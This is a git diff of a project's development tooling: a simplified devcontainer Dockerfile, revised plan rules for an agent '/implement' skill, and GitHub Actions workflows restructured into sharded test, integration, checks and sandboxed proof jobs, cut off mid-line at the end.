diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile index 447236460..111ccbeb9 100644 --- a/.devcontainer/Dockerfile +++ b/.devcontainer/Dockerfile @@ -1,41 +1,14 @@ -# Reviewed RAES development container. -# -# This file owns no version, digest, package, or platform fact. Every literal -# below is derived from the reviewed `container-ubuntu-24.04-x86_64` host profile in -# implementations/tooling/profiles/development-profiles.json and from -# implementations/tooling/artifacts.lock.json; the drift gate in -# tools/tooling_artifact_policy_container.py refuses any literal here that -# disagrees with that authority, so edit the authority, never this file. -# -# The image supplies host prerequisites and maintainer conveniences only. The -# dev-container lifecycle runs `tools.devcontainer_setup`, which acquires the -# locked uv, CPython, and generic CLI payloads through the repository's own -# verified installers, so no payload, checkout, credential, or reusable cache is -# baked into a layer. Isabelle proof execution is unsupported here -# (`proof_support: unsupported`); use the native proof host profile. -# -# Linux x86_64 is the one qualified platform: Ubuntu publishes immutable package -# snapshots only for it. Every stage pins the reviewed linux/amd64 manifest, so -# arm64 hosts such as Apple silicon run this same image under emulation instead -# of silently substituting an unqualified native build. - -# The package snapshot is served only over HTTPS and the pinned base carries no -# CA bundle. This throwaway stage obtains one from the base image's own signed -# archive purely as TLS transport trust; none of its bytes reach the image. -FROM --platform=linux/amd64 docker.io/library/ubuntu@sha256:a61567bd31828687156d735ea8eb01ba4e37636e225dd6a48ba94136a70d9d61 AS transport-trust +# Optional connected development environment. The artifact lock owns the base +# digest; this native Dockerfile owns its packages, account, and environment. +# Signed Ubuntu repositories supply current native packages. Rebuilds are not +# byte-reproducible and do not qualify additional host architectures. +# The lifecycle separately verifies locked uv, Python, and CLI payloads. +# Proof isolation and a container daemon are intentionally not supplied. +FROM --platform=linux/amd64 docker.io/library/ubuntu@sha256:a61567bd31828687156d735ea8eb01ba4e37636e225dd6a48ba94136a70d9d61 RUN set -eu; \ export DEBIAN_FRONTEND=noninteractive; \ apt-get update; \ - apt-get install -y --no-install-recommends ca-certificates - -# Every installed package comes from the immutable reviewed snapshot and is -# authenticated by the Ubuntu archive keyring inside the digest-pinned base. -FROM --platform=linux/amd64 docker.io/library/ubuntu@sha256:a61567bd31828687156d735ea8eb01ba4e37636e225dd6a48ba94136a70d9d61 -RUN --mount=type=bind,from=transport-trust,source=/etc/ssl/certs/ca-certificates.crt,target=/run/raes-transport-ca.crt \ - set -eu; \ - export DEBIAN_FRONTEND=noninteractive; \ - apt-get -o APT::Snapshot=20260912T000000Z -o Acquire::https::CAInfo=/run/raes-transport-ca.crt update; \ - apt-get -o APT::Snapshot=20260912T000000Z -o Acquire::https::CAInfo=/run/raes-transport-ca.crt install -y --no-install-recommends \ + apt-get install -y --no-install-recommends \ bash-completion \ ca-certificates \ coreutils \ @@ -58,7 +31,7 @@ RUN --mount=type=bind,from=transport-trust,source=/etc/ssl/certs/ca-certificates find /var/lib/apt/lists -mindepth 1 -delete # A non-root development account owns the caches and never the mounted source. -# The reviewed base ships a stock account at 1000; replacing it keeps the +# The base ships a stock account at 1000; replacing it keeps the # development user aligned with the typical host owner of a bind-mounted # checkout, and dev-container clients remap it to the host owner otherwise. RUN set -eu; \ diff --git a/.gc/plan-rules.md b/.gc/plan-rules.md index 51eeb6766..c776d7b35 100644 --- a/.gc/plan-rules.md +++ b/.gc/plan-rules.md @@ -3,12 +3,13 @@ Mandatory constraints the `/implement` skill applies during plan phase. These encode the hard rules previously in `AGENTS.md` prose. -- Plans MUST run `implementations/python/.venv/bin/python tools/check_repo_policy.py` - before declaring completion. -- Plans MUST run `implementations/python/.venv/bin/python tools/check_requirement_governance.py` - before declaring completion. -- Plans MUST run `implementations/python/.venv/bin/python tools/verify_all.py` - before declaring completion. +- Plans MUST follow `/implement`'s proportionate local verification rules: + run targeted tests and checks for the changed behavior locally. CI owns + repository-wide verification, completion, and policy suites. Preserve the + mandatory pre-publish hook, review, CI, SonarCloud, and readiness gates. +- Local test and completion commands MUST remain targeted. Never select a full + test, integration or fuzz suite locally, even on unknown changes, source edits, + base synchronization or review repairs. Full verification is CI/CD only. - Plans MUST set `RAES_REQUIREMENT_UID` when the branch name does not already contain a UID such as `GOV-918`. - Plans MUST NOT add new authority-bearing artifacts outside `specs/`, diff --git a/.github/workflows/bootstrap-qualification.yml b/.github/workflows/bootstrap-qualification.yml index 72ffc9ea7..53960a29e 100644 --- a/.github/workflows/bootstrap-qualification.yml +++ b/.github/workflows/bootstrap-qualification.yml @@ -1,14 +1,22 @@ name: Bootstrap qualification -# The main->dev back-merge PR changes only Release Please-managed files, which -# were qualified on the dev->main promotion; it does not trigger this (#1266). +# Qualify changed tooling components, not unrelated application or documentation edits. on: pull_request: branches: [dev] - paths-ignore: - - CHANGELOG.md - - .release-please-manifest.json - - implementations/python/packages/raes/_version.py + paths: + - '.github/workflows/bootstrap-qualification.yml' + - '.devcontainer/**' + - 'implementations/tooling/**' + - 'implementations/python/pyproject.toml' + - 'implementations/python/uv.lock' + - 'implementations/python/tests/test_issue_1217_bootstrap_profiles.py' + - 'implementations/python/tests/test_issue_1219_verified_tool_installation.py' + - 'implementations/python/tests/test_issue_1220_isabelle_acquisition.py' + - 'implementations/python/tests/test_issue_1238_development_container.py' + - 'implementations/python/tests/test_issue_1313_workflow_policy.py' + - 'tools/**' + - 'noxfile.py' workflow_dispatch: permissions: @@ -23,9 +31,9 @@ jobs: fail-fast: false matrix: include: - - {profile: public-ubuntu-24.04-x86_64, runner: ubuntu-24.04, target: x86_64-unknown-linux-gnu, tool_closure: public-linux-x86_64-cp314-tools, tool_requirements: implementations/tooling/python/smoke/tools-linux-x86_64-cp314.txt, project_closure: public-linux-x86_64-cp314-all-extras} - - {profile: public-linux-arm64, runner: ubuntu-24.04-arm, target: aarch64-unknown-linux-gnu, tool_closure: public-linux-arm64-cp314-tools, tool_requirements: implementations/tooling/python/smoke/tools-linux-arm64-cp314.txt, project_closure: public-linux-arm64-cp314-all-extras} - - {profile: public-macos-arm64, runner: macos-15, target: aarch64-apple-darwin, tool_closure: public-macos-arm64-cp314-tools, tool_requirements: implementations/tooling/python/smoke/tools-macos-arm64-cp314.txt, project_closure: public-macos-arm64-cp314-all-extras} + - {profile: public-ubuntu-24.04-x86_64, runner: ubuntu-24.04, target: x86_64-unknown-linux-gnu, project_closure: public-linux-x86_64-cp314-all-extras} + - {profile: public-linux-arm64, runner: ubuntu-24.04-arm, target: aarch64-unknown-linux-gnu, project_closure: public-linux-arm64-cp314-all-extras} + - {profile: public-macos-arm64, runner: macos-15, target: aarch64-apple-darwin, project_closure: public-macos-arm64-cp314-all-extras} env: UV_PYTHON: "3.14.7" UV_PYTHON_PLATFORM: ${{ matrix.target }} @@ -41,7 +49,7 @@ jobs: with: python-version: "3.14.7" - name: Install exact uv payload - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: version: "0.12.4" enable-cache: false @@ -54,138 +62,25 @@ jobs: - name: Exercise supported Python wheel and ABI closure if: matrix.project_closure != '' run: uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s python-compatibility - - name: Build the credential-free target payload kit - id: kit + - name: Exercise verified tool acquisition and reuse run: | - tool_python=(uv run --project implementations/tooling/python --frozen --no-default-groups python) - "${tool_python[@]}" -m tools.bootstrap_profile generic-tools - mkdir -p .qualification-kit/bin .qualification-kit/python .qualification-kit/.cache/raes-sdl \ - .qualification-kit/tool-wheelhouse - "${tool_python[@]}" -m tools.bootstrap_profile offline-kit-fetch \ - "${{ matrix.profile }}" .qualification-kit --artifact-id cpython-3.14 --artifact-id uv \ - --artifact-id conftest --artifact-id gitleaks --artifact-id osv-scanner --artifact-id vale - cp "$(command -v uv)" .qualification-kit/bin/uv - "${tool_python[@]}" -m tools.bootstrap_profile offline-kit-install-python \ - "${{ matrix.profile }}" .qualification-kit --python-artifact-id cpython-3.14 - "${tool_python[@]}" -m tools.python_closure materialize \ - --profile "${{ matrix.tool_closure }}" --wheelhouse .qualification-kit/tool-wheelhouse - "${tool_python[@]}" -m tools.python_closure manifest-show \ - --profile "${{ matrix.tool_closure }}" > .qualification-kit/tool-wheelhouse-manifest.json - if [ -n "${{ matrix.project_closure }}" ]; then - mkdir .qualification-kit/project-wheelhouse - "${tool_python[@]}" -m tools.python_closure materialize \ - --profile "${{ matrix.project_closure }}" --wheelhouse .qualification-kit/project-wheelhouse - "${tool_python[@]}" -m tools.python_closure manifest-show \ - --profile "${{ matrix.project_closure }}" > .qualification-kit/wheelhouse-manifest.json - fi - "${tool_python[@]}" -m tools.bootstrap_profile offline-kit-export-tool-seeds \ - "${{ matrix.profile }}" .cache/raes-sdl/tooling/installations \ - .qualification-kit/.cache/raes-sdl/tooling/installations - "${tool_python[@]}" -m tools.bootstrap_profile offline-kit-manifest \ - "${{ matrix.profile }}" .qualification-kit --python-artifact-id cpython-3.14 \ - > .qualification-kit/offline-kit-manifest.json - manifest_sha256="$("${tool_python[@]}" -m tools.bootstrap_profile \ - offline-kit-manifest-digest .qualification-kit/offline-kit-manifest.json)" - echo "manifest_sha256=${manifest_sha256}" >> "$GITHUB_OUTPUT" - tar -cf bootstrap-offline-kit.tar .qualification-kit - - name: Restore and exercise the payload kit without network fallback - run: | - for cleanup_root in \ - .qualification-kit/.cache/raes-sdl/tooling/installations \ - .cache/raes-sdl/tooling/installations; do - if [ -d "${cleanup_root}" ]; then - chmod -R u+w "${cleanup_root}" - fi - done - rm -rf .qualification-kit .cache/raes-sdl/tooling .qualification-restored \ - implementations/python/.venv implementations/tooling/python/.venv - mkdir .qualification-restored - tar -xf bootstrap-offline-kit.tar -C .qualification-restored --strip-components=1 - restored_root="${{ github.workspace }}/.qualification-restored" - restored_python="$(find "${restored_root}/python" -path '*/bin/python3.14' -print)" - test -n "${restored_python}" - export UV_PYTHON="${restored_python}" - export PATH="${restored_root}/bin:/usr/bin:/bin" - export UV_PYTHON_INSTALL_DIR="${restored_root}/python" - export UV_PYTHON_DOWNLOADS=never - export UV_OFFLINE=1 - runtime_root="$(mktemp -d "${GITHUB_WORKSPACE}/.raes-bootstrap-runtime.XXXXXX")" - export UV_CACHE_DIR="${runtime_root}/uv-cache" - mkdir "${UV_CACHE_DIR}" - "${restored_python}" -m tools.python_closure bootstrap-wheelhouse-verify \ - --profile "${{ matrix.tool_closure }}" --wheelhouse "${restored_root}/tool-wheelhouse" \ - --manifest-snapshot "${restored_root}/tool-wheelhouse-manifest.json" - if [ -n "${{ matrix.project_closure }}" ]; then - "${restored_python}" -m tools.python_closure bootstrap-wheelhouse-verify \ - --profile "${{ matrix.project_closure }}" --wheelhouse "${restored_root}/project-wheelhouse" \ - --manifest-snapshot "${restored_root}/wheelhouse-manifest.json" - fi - restored_tool_environment="${runtime_root}/tool-environment" - "${restored_root}/bin/uv" venv --no-project --python "${restored_python}" \ - "${restored_tool_environment}" - restored_tool_python="${restored_tool_environment}/bin/python" - "${restored_root}/bin/uv" pip install --python "${restored_tool_python}" \ - --requirements "${{ matrix.tool_requirements }}" --require-hashes --only-binary :all: \ - --offline --no-index --find-links "${restored_root}/tool-wheelhouse" - "${restored_tool_python}" -m tools.bootstrap_profile offline-kit-verify \ - "${{ matrix.profile }}" "${restored_root}" --python-artifact-id cpython-3.14 \ - --trusted-manifest-sha256 "${{ steps.kit.outputs.manifest_sha256 }}" - if [ -n "${{ matrix.project_closure }}" ]; then - export UV_FIND_LINKS="${restored_root}/tool-wheelhouse,${restored_root}/project-wheelhouse" - export UV_NO_INDEX=1 - export RAES_PYTHON_CLOSURE_WHEELHOUSE="${restored_root}/project-wheelhouse" - "${restored_tool_python}" -m nox -f noxfile.py -s python-compatibility - else - "${restored_tool_python}" -c \ - 'import cryptography; from importlib.metadata import version; print(version("nox"))' - fi - "${restored_tool_python}" -m tools.bootstrap_profile record-case T02 "${{ github.sha }}" noxfile.py \ - --artifact-id cpython-3.14 --artifact-id uv --artifact-id conftest --artifact-id gitleaks \ - --artifact-id osv-scanner --artifact-id vale > t02-result.json - if [ "${{ matrix.profile }}" = public-linux-arm64 ] || [ "${{ matrix.profile }}" = public-macos-arm64 ]; then - "${restored_tool_python}" -m tools.bootstrap_profile record-case T12 "${{ github.sha }}" \ - tools/bootstrap_profile.py --artifact-id cpython-3.14 --artifact-id uv --artifact-id conftest \ - --artifact-id gitleaks --artifact-id osv-scanner --artifact-id vale > t12-result.json - fi + uv run --project implementations/tooling/python --frozen --no-default-groups python \ + -m tools.bootstrap_profile generic-tools - name: Exercise maintained curl behavior run: | - uv run --project implementations/tooling/python --frozen --no-default-groups python \ - -m tools.bootstrap_profile inspect-profile "${{ matrix.profile }}" - uv run --project implementations/tooling/python --frozen --no-default-groups python -m pytest -q \ - implementations/python/tests/test_issue_1217_bootstrap_profiles.py \ + uv run --project implementations/tooling/python --frozen --no-default-groups --group acquisition-tests python \ + -m pytest -q implementations/python/tests/test_issue_1217_bootstrap_profiles.py \ implementations/python/tests/test_issue_1220_isabelle_acquisition.py -m integration -k real_curl - uv run --project implementations/tooling/python --frozen --no-default-groups python \ - -m tools.bootstrap_profile record-case T08 "${{ github.sha }}" \ - implementations/python/tests/test_issue_1217_bootstrap_profiles.py > t08-result.json - name: Exercise verified local installation behavior run: >- uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s local-installation-qualification -- --output local-installation-qualification.json - - name: Record exact measured profile evidence - run: | - mkdir .qualification-evidence-root - tar -xf bootstrap-offline-kit.tar -C .qualification-evidence-root --strip-components=1 - case_results=(--case-result t02-result.json --case-result t08-result.json) - if [ -f t12-result.json ]; then - case_results+=(--case-result t12-result.json) - fi - uv run --project implementations/tooling/python --frozen --no-default-groups python \ - -m tools.bootstrap_profile qualification-evidence \ - "${{ matrix.profile }}" "${{ github.sha }}" \ - "github-actions:${{ github.repository }}:${{ github.run_id }}:${{ github.run_attempt }}" \ - --python-artifact-id cpython-3.14 "${case_results[@]}" \ - --slice-evidence local-installation-qualification.json \ - --offline-kit-root .qualification-evidence-root --offline-kit bootstrap-offline-kit.tar \ - --offline-kit-manifest-sha256 "${{ steps.kit.outputs.manifest_sha256 }}" \ - > bootstrap-qualification.json - - name: Retain bounded qualification evidence + - name: Retain local installation results if: always() uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: bootstrap-${{ matrix.profile }}-${{ github.sha }} - path: | - bootstrap-qualification.json - bootstrap-offline-kit.tar + path: local-installation-qualification.json if-no-files-found: error development-image: @@ -203,7 +98,7 @@ jobs: with: python-version: "3.14.7" - name: Install exact uv payload - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: version: "0.12.4" enable-cache: false @@ -234,8 +129,9 @@ jobs: - name: Prepare a clean checkout owned by the development user run: | git clone --no-local --no-hardlinks "${GITHUB_WORKSPACE}" "${RUNNER_TEMP}/rae" - sudo chown -R "$(jq -r '"\(.development_user.uid):\(.development_user.gid)"' \ - "${RUNNER_TEMP}/development-image-plan.json")" "${RUNNER_TEMP}/rae" + development_uid="$(docker run --rm --entrypoint id raes-development-image:smoke -u)" + development_gid="$(docker run --rm --entrypoint id raes-development-image:smoke -g)" + sudo chown -R "${development_uid}:${development_gid}" "${RUNNER_TEMP}/rae" - name: Open the container as a dev-container client does run: | workspace=/workspaces/rae @@ -265,7 +161,7 @@ jobs: command -v "${tool}" done test -x .git/hooks/pre-commit - test -x .git/hooks/pre-push + test ! -e .git/hooks/pre-push nox -s policy -- --skip-requirement nox -s lint nox -s tests @@ -304,9 +200,7 @@ jobs: source_revision: $source_revision, declared_base_image_index_digest: .base_image_index_digest, declared_base_image_digest: .base_image_digest, - native_repository_snapshot, resulting_image_id: $image_id, - policy_sha256, artifact_lock_sha256: $lock_sha256, development_profiles_sha256: $profiles_sha256, commands: [ diff --git a/.github/workflows/canonical-verification.yml b/.github/workflows/canonical-verification.yml index 0059641ed..8ff0763c5 100644 --- a/.github/workflows/canonical-verification.yml +++ b/.github/workflows/canonical-verification.yml @@ -1,8 +1,17 @@ name: Canonical Verification # One exact-SHA admission graph shared by protected-branch CI and release -# publication. It preserves the existing proof-bearing nox verification lane; -# optional and networked jobs remain separate in the calling CI workflow. +# publication. It preserves the existing proof-bearing nox verification lanes and +# the ADR-103 coverage authority, but distributes the default-marker test suite +# across deterministic concurrent shards (#935) so a full run finishes sooner and +# SonarCloud can start as soon as the combined coverage is ready instead of after +# the whole graph. Optional and networked jobs remain in the calling CI workflow. +# +# The caller sees this reusable workflow as one atomic job, so it exposes two +# decoupled outcomes: `gate-outcome` (every required test/coverage/policy/proof +# job) and `sonar-outcome` (the quality gate). ci.yml joins each to its own stable +# branch-protection context; a failed quality gate never masks a passing test gate +# and vice versa. on: workflow_call: @@ -21,10 +30,32 @@ on: required: false default: "" type: string + sonar-enabled: + description: Run the SonarCloud quality gate inside this graph + required: false + default: false + type: boolean + secrets: + sonar_token: + description: SonarCloud token; only consumed by the internally trust-gated sonar job + required: false + outputs: + gate-outcome: + description: success only when every required test, coverage, policy, and proof job succeeded + value: ${{ jobs.gate.outputs.outcome }} + sonar-outcome: + description: success, failure, or empty (skipped) result of the quality gate + value: ${{ jobs.sonar.outputs.outcome }} permissions: contents: read +env: + # The number of concurrent default-suite shards. Keep this equal to the length + # of the test-shard matrix below; the reducer's completeness proof fails closed + # if they ever drift. There is no per-module shard table (#935). + RAES_CI_SHARD_COUNT: "4" + jobs: generic-tool-local-inputs: runs-on: ubuntu-24.04 @@ -37,23 +68,24 @@ jobs: with: python-version: "3.12.14" - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" - name: Fetch locked generic-tool inputs with the qualified client run: | mkdir .canonical-tool-inputs - uv run --project implementations/python --frozen python -m tools.bootstrap_profile offline-kit-fetch \ + uv run --project implementations/python --frozen python -m tools.bootstrap_profile fetch-inputs \ public-ubuntu-24.04-x86_64 .canonical-tool-inputs \ --artifact-id conftest --artifact-id gitleaks --artifact-id osv-scanner --artifact-id vale - name: Fetch the locked proof archive with the qualified client # Ubuntu 22.04's native curl predates the qualified client floor, so the # proof host receives the exact reviewed archive as a verified local input. run: | - uv run --project implementations/python --frozen python -m tools.bootstrap_profile offline-kit-fetch \ - proof-ubuntu-22.04-x86_64 .canonical-tool-inputs --artifact-id isabelle - - name: Carry locked generic-tool inputs to the proof host + uv run --project implementations/python --frozen python -m tools.bootstrap_profile fetch-inputs \ + proof-ubuntu-22.04-x86_64 .canonical-tool-inputs --artifact-id isabelle \ + --locator-ref official-isabelle-cambridge-mirror + - name: Carry locked generic-tool inputs to the dependent jobs uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: canonical-generic-tool-inputs-${{ inputs.ref }} @@ -62,19 +94,110 @@ jobs: include-hidden-files: true retention-days: 1 - verify: - # Ubuntu 24.04 restricts unprivileged user namespaces through AppArmor. - # Keep the proof-bearing job on 22.04 so Bubblewrap enforces the sandbox - # without disabling a host security control on the runner. + # Deterministic concurrent shards of the default-marker suite. Each shard owns a + # SHA-256 partition of the collected node ids, runs xdist within its shard, and + # emits a combinable coverage data file plus an ownership manifest. Shards are + # credential-free and need no locked tool inputs (pure pytest). + test-shard: + runs-on: ubuntu-24.04 + strategy: + fail-fast: false + matrix: + shard: [0, 1, 2, 3] + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + persist-credentials: false + ref: ${{ inputs.ref }} + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12.14" + - name: Install uv + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 + with: + enable-cache: false + version: "0.12.4" + - name: Run deterministic test shard + env: + # Write coverage/manifest artifacts under the runner temp dir, never the + # checkout: a new top-level directory in the checkout would fail the + # authority-boundary policy that the integration lane exercises. + RAES_SHARD_COUNT: ${{ env.RAES_CI_SHARD_COUNT }} + RAES_SHARD_INDEX: ${{ matrix.shard }} + RAES_SHARD_SOURCE_SHA: ${{ inputs.ref }} + RAES_VERIFY_COVERAGE_FILE: ${{ runner.temp }}/shard-out/.coverage.shard-${{ matrix.shard }} + RAES_SHARD_MANIFEST: ${{ runner.temp }}/shard-out/shard-${{ matrix.shard }}.json + run: | + mkdir -p "${{ runner.temp }}/shard-out" + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-shard + - name: Upload shard coverage data and ownership manifest + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: coverage-shard-${{ matrix.shard }}-${{ inputs.ref }} + path: | + ${{ runner.temp }}/shard-out/.coverage.shard-${{ matrix.shard }} + ${{ runner.temp }}/shard-out/shard-${{ matrix.shard }}.json + if-no-files-found: error + include-hidden-files: true + retention-days: 1 + + # Hermetic integration-marker suite; its coverage is combined with the shard + # coverage before the aggregate line floor is enforced. Integration-marked + # policy tests exercise the installed generic tools (e.g. Conftest), so this + # lane installs them from the same-run locked inputs. + integration: needs: generic-tool-local-inputs - runs-on: ubuntu-22.04 + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 with: - fetch-depth: 0 persist-credentials: false ref: ${{ inputs.ref }} + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12.14" + - name: Install uv + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 + with: + enable-cache: false + version: "0.12.4" + - name: Receive locked generic-tool inputs + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: canonical-generic-tool-inputs-${{ inputs.ref }} + path: .canonical-tool-inputs + - name: Install locked generic tools from local inputs + run: >- + uv run --project implementations/tooling/python --frozen --no-default-groups + python -m tools.bootstrap_profile + generic-tools --local-input-root .canonical-tool-inputs + - name: Run integration lane + env: + RAES_VERIFY_COVERAGE_FILE: ${{ runner.temp }}/shard-out/.coverage.integration + run: | + mkdir -p "${{ runner.temp }}/shard-out" + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-integration-lane + - name: Upload integration coverage data + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: coverage-integration-${{ inputs.ref }} + path: ${{ runner.temp }}/shard-out/.coverage.integration + if-no-files-found: error + include-hidden-files: true + retention-days: 1 + # Static hygiene, repository policy (requirement-aware, base-diff), lint, + # governed contract graph, and deterministic docs. These lanes produce no + # coverage; they run in parallel with the shards. + checks: + needs: generic-tool-local-inputs + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + fetch-depth: 0 + persist-credentials: false + ref: ${{ inputs.ref }} - name: Bind verification to the exact commit and resolve policy base id: commit env: @@ -86,13 +209,11 @@ jobs: echo "Canonical verification requires a full lowercase commit SHA, got '${EXPECTED_SHA}'" >&2 exit 1 fi - actual_sha="$(git rev-parse HEAD)" if [ "${actual_sha}" != "${EXPECTED_SHA}" ]; then echo "Checkout mismatch: expected ${EXPECTED_SHA}, got ${actual_sha}" >&2 exit 1 fi - base_sha="${REQUESTED_BASE_SHA}" if ! printf '%s\n' "${base_sha}" | grep -Eq '^[0-9a-f]{40}$' \ || [ "${base_sha}" = "0000000000000000000000000000000000000000" ] \ @@ -103,97 +224,153 @@ jobs: exit 1 fi fi - echo "Verified exact commit ${EXPECTED_SHA}; policy base ${base_sha}" echo "base_rev=${base_sha}" >> "${GITHUB_OUTPUT}" - - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 with: python-version: "3.12.14" - - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" - - name: Receive locked generic-tool inputs uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 with: name: canonical-generic-tool-inputs-${{ inputs.ref }} path: .canonical-tool-inputs - - name: Install locked generic tools from local inputs run: >- uv run --project implementations/tooling/python --frozen --no-default-groups python -m tools.bootstrap_profile generic-tools --local-input-root .canonical-tool-inputs - - - name: Install proof sandbox - run: | - if ! command -v bwrap >/dev/null 2>&1 || ! command -v fc-list >/dev/null 2>&1 || [ -z "$(fc-list --format='%{file}\n' | head -n 1)" ]; then - sudo apt-get update - sudo apt-get install --no-install-recommends -y bubblewrap fontconfig fonts-dejavu-core - fi - test -d /etc/fonts - test -d /usr/share/fonts - test -n "$(fc-list --format='%{file}\n' | head -n 1)" - - - name: Admit the carried Isabelle archive with egress denied - run: >- - bwrap --dev-bind / / --unshare-net --die-with-parent - implementations/tooling/python/.venv/bin/python -m tools.isabelle_tool acquire - --local-input .canonical-tool-inputs/archives/isabelle/Isabelle2025-2_linux.tar.gz - - name: Resolve requirement UID from branch id: requirement env: BRANCH: ${{ inputs.requirement-branch }} run: | - REQ_UID="$(printf '%s\n' "${BRANCH}" | grep -oE '[A-Z]{3}-[0-9]{3}' | head -n1 || true)" - echo "Resolved branch='${BRANCH}' uid='${REQ_UID}'" + REQ_UID="$(uv run --project implementations/tooling/python --frozen --no-default-groups python -m tools.requirement_context --branch "${BRANCH}")" echo "uid=${REQ_UID}" >> "${GITHUB_OUTPUT}" - - - name: Run canonical verification graph + - name: Run static, policy, and lint lanes env: RAES_REQUIREMENT_UID: ${{ steps.requirement.outputs.uid }} + RAES_REQUIREMENT_BRANCH: ${{ inputs.requirement-branch }} GC_BASE_URL: ${{ vars.GC_BASE_URL }} run: | - verify_args=(--base-rev "${{ steps.commit.outputs.base_rev }}") + verify_args=(--include-policy --base-rev "${{ steps.commit.outputs.base_rev }}") if [ -n "${{ steps.requirement.outputs.uid }}" ]; then verify_args+=(--requirement-uid "${{ steps.requirement.outputs.uid }}") else verify_args+=(--skip-requirement) fi - uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify -- "${verify_args[@]}" + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-static-lane -- "${verify_args[@]}" + - name: Run governed contract graph + env: + RAES_REQUIREMENT_UID: ${{ steps.requirement.outputs.uid }} + run: | + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s contracts -- --base-rev "${{ steps.commit.outputs.base_rev }}" + - name: Run deterministic documentation checks + run: | + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s docs-local + # The proof-bearing lane stays on Ubuntu 22.04 so Bubblewrap enforces the + # sandbox without disabling a host security control on the runner. + proof: + needs: generic-tool-local-inputs + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + persist-credentials: false + ref: ${{ inputs.ref }} + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12.14" + - name: Install uv + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 + with: + enable-cache: false + version: "0.12.4" + - name: Receive locked generic-tool inputs + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: canonical-generic-tool-inputs-${{ inputs.ref }} + path: .canonical-tool-inputs + - name: Install locked generic tools from local inputs + run: >- + uv run --project implementations/tooling/python --frozen --no-default-groups + python -m tools.bootstrap_profile + generic-tools --local-input-root .canonical-tool-inputs + - name: Install proof sandbox + run: | + if ! command -v bwrap >/dev/null 2>&1 || ! command -v fc-list >/dev/null 2>&1 || [ -z "$(fc-list --format='%{file}\n' | head -n 1)" ]; then + sudo apt-get update + sudo apt-get install --no-install-recommends -y bubblewrap fontconfig fonts-dejavu-core + fi + test -d /etc/fonts + test -d /usr/share/fonts + test -n "$(fc-list --format='%{file}\n' | head -n 1)" + - name: Admit the carried Isabelle archive with egress denied + run: >- + bwrap --dev-bind / / --unshare-net --die-with-parent + implementations/tooling/python/.venv/bin/python -m tools.isabelle_tool acquire + --local-input .canonical-tool-inputs/archives/isabelle/Isabelle2025-2_linux.tar.gz + - name: Replay the pinned participant-opacity proof + run: | + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s participant-opacity-proof - name: Qualify proof-input installation slices run: >- uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s proof-input-qualification -- --real-installation --output proof-input-qualification.json - - - name: Record qualified proof-host evidence - run: | - uv run --project implementations/python --frozen python -m tools.bootstrap_profile record-case T01 \ - "${{ inputs.ref }}" noxfile.py --artifact-id cpython-3.12 --artifact-id isabelle --artifact-id uv \ - > t01-result.json - uv run --project implementations/python --frozen python -m tools.bootstrap_profile qualification-evidence \ - proof-ubuntu-22.04-x86_64 "${{ inputs.ref }}" \ - "github-actions:${{ github.repository }}:${{ github.run_id }}:${{ github.run_attempt }}" \ - --python-artifact-id cpython-3.12 --case-result t01-result.json \ - --slice-evidence proof-input-qualification.json > proof-host-qualification.json - - - name: Upload proof-host qualification evidence - id: proof-host-evidence + - name: Retain proof-input installation results if: always() uses: 